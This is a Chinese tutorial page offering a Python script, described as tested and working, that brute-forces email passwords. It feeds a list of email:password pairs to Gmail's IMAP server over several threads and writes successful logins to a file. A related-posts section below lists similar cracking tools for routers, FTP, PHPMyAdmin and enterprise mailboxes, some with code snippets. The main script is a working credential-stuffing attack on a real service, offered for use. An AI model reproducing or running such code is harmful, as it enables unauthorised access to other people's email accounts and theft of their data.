Python实现在线暴力破解邮箱账号密码功能示例【测试可用】

本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:

dic 字典格式如下(mail.txt) :

username@gmail.com:password
username@gmail.com:password
username@gmail.com:password

以此类推,切记保存成utf-8编码格式。

放置在当前脚本目录,也可自己定义修改。

支持ssl https /imap协议。

# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading
# global variant
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function
def Write_Save_Success_Gmail_Jobs(indexSuccess):
  Success_File = open('success.txt', 'a')
  Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
  Success_File.close()
def Write_Save_Fail_Gmail_Jobs(indexFail):
  Fail_File = open('fail.txt', 'a')
  Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])
  Fail_File.close()
# define global function
def Get_Parser_Account_Pwd(Index):
 strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]
 strUserName, strPassWord = strAccountPwd.split(':', 1)
 return strUserName, strPassWord
# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
 global GLOBAL_WORKING_THREAD_MUTEX_LOCK
 global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
 if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:
  GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
  GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1
  print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
  print('IMAP INDEX-------', IndexGmail)
  print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
  Write_Save_Fail_Gmail_Jobs(IndexGmail)
  # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
  GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
  GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143
  stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
  try:
   ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
  except GmailImap4.error :
   print('Logical errors - debug required')
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  except GmailImap4.abort :
   print('Service errors - close and retry')
   GmailImap4.close()
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  except GmailImap4.readonly:
   print('Mailbox status changed to read only')
   GmailImap4.close()
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  if (ResponseStatus[0] == 'OK'):
   print('LOGIN SUCCESS')
   Write_Save_Success_Gmail_Jobs(IndexGmail)
   GmailImap4.logout()
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  else:
   GmailImap4.close()
   print('LOGIN FAIL')
   print(ResponseStatus)
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
 else:
  return
# define global function
class Working_Zone_Thread(threading.Thread):
 m_IndexStart = 0
 m_IndexEnd = 0
 def __init__(self, numEnd):
  self.m_IndexEnd = numEnd
  threading.Thread.__init__(self)
 def run(self): # run process
  while True:
   if self.m_IndexStart < self.m_IndexEnd:
    Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)
    self.m_IndexStart = self.m_IndexStart + 1
   else:
    break
 def _delete(self):
  threading.Thread._delete(self)
  print('thread delete is : ', self.getName())
# define read function
def Read_Send_Single_Func():
 IndexStart = 0
 print('--------read----star--')
 global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM
 global GMAIL_BYTES_READED_TOTAL_SIZE
 global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY
 File_Read = open('mail.txt', 'r', encoding='UTF-8')
 File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek
 while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:
  line = File_Read.readline()
  if line:
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)
   CbBytes = line.__len__()
   GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1
   IndexStart = IndexStart + 1
  else:
   GLOBAL_READ_FINISH_STATUS_SUCCESS = True
   break
 print('gmail read num ', IndexStart)
 File_Read.close()
 print('---------read----end--')
# main entry
if __name__ == '__main__':
 print('Main Thread Start : ')
 while True:
  if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:
   Read_Send_Single_Func()
   wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)
   wzt.start()
   wzt.join()
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()
  else:
   print('data has run out : ')
   break
 print('Main Thread End : ')

更多关于Python相关内容可查看本站专题:《Python Socket编程技巧总结》、《Python数据结构与算法教程》、《Python函数使用技巧总结》、《Python字符串操作技巧汇总》、《Python入门与进阶经典教程》及《Python文件与目录操作技巧汇总》

希望本文所述对大家Python程序设计有所帮助。

(0)

相关推荐

  • Python脚本暴力破解栅栏密码

    今天遇到一个要破解的栅栏密码,先给大家介绍通用的脚本. 方法一(通用脚本): #!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf_ -*- e = raw_input('请输入要解密的字符串\n') elen = len(e) field=[] for i in range(,elen): if(elen%i==): field.append(i) for f in field: b = elen / f result =

  • python实现多线程暴力破解登陆路由器功能代码分享

    运行时请在其目录下添加user.txt passwd.txt两文件.否则会报错.程序没有加异常处理.代码比较挫..... 复制代码 代码如下: #coding:utf-8- import base64 import urllib2 import Queue import threading,re,sys queue = Queue.Queue() class Rout_thread(threading.Thread): def __init__(self,queue,passwd): threa

  • python编写暴力破解FTP密码小工具

    python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作. 下面直接上代码,下面是主文件 复制代码 代码如下: import os import time import threading class mythread(threading.Thread): def __in

  • Python自动登录126邮箱的方法

    本文实例讲述了Python自动登录126邮箱的方法.分享给大家供大家参考.具体实现方法如下: import sys, urllib2, urllib,cookielib import re cookie = cookielib.LWPCookieJar() opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie)) urllib2.install_opener(opener) url='http://entry.mail.12

  • 忘记ftp密码使用python ftplib库暴力破解密码的方法示例

    python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作. 下面直接上代码,下面是主文件 复制代码 代码如下: import os import time import threading class mythread(threading.Thread): def __in

  • Python压缩解压缩zip文件及破解zip文件密码的方法

    python 的 zipfile 提供了非常便捷的方法来压缩和解压 zip 文件. 例如,在py脚本所在目录中,有如下文件: readability/readability.js readability/readability.txt readability/readability-print.css readability/sprite-readability.png readability/readability.css 将 readability 目录中的文件压缩到脚本所在目录的 read

  • python登录QQ邮箱发信的实现代码

    复制代码 代码如下: # -*- coding: cp936 -*-from email.Header import Headerfrom email.MIMEText import MIMETextfrom email.MIMEMultipart import MIMEMultipartimport smtplib, datetime#创建一个带附件的实例msg = MIMEMultipart()#构造附件att = MIMEText(open('f:\\文件名.doc', 'rb').rea

  • Python实现给qq邮箱发送邮件的方法

    本文实例讲述了Python实现给qq邮箱发送邮件的方法.分享给大家供大家参考.具体实现方法如下: #-*-coding:utf-8-*- #========================================== # 导入smtplib和MIMEText #========================================== from email.mime.text import MIMEText import smtplib #===================

  • python制作企业邮箱的爆破脚本

    按照师傅给的任务,写了一个企业邮箱的爆破脚本,后续还有FTP,SSH等一些爆破的脚本. 我先说下整体思路: 总体就是利用python的poplib模块来从pop3服务器上交互,根据获取的相关信息,产生结果.POP3协议并不复杂,它也是采用的一问一答式的方式,你向服务器发送一个命令,服务器必然会回复一个信息. 1.首先验证参数是否正确 Sys.argv[]是用来获取命令行参数的,sys.argv[0]表示代码本身文件路径,所以参数从1开始 2.然后从用户密码文件中读取信息 3.pop.getwel

  • Python写的PHPMyAdmin暴力破解工具代码

    PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用. #!/usr/bin/env python import urllib import urllib2 import cookielib import sys import subprocess def Crack(url,username,password): opener = urllib2.build_opener(urllib2.HTT

  • Python使用QQ邮箱发送Email的方法实例

    前言 其实Python使用QQ邮箱发送Email代码很简单,短短几行代码就可以实现这个功能. 使用到的模块有smtplib和email这个两个模块,关于这两个模块的方法就不多说了.不了解的朋友们可以查看这篇文章:python中使用smtplib和email模块发送邮件实例 我们先说说网上常用的使用这那两个模块发送邮件的方法 代码如下: import smtplib from email.mime.text import MIMEText from email.header import Head

随机推荐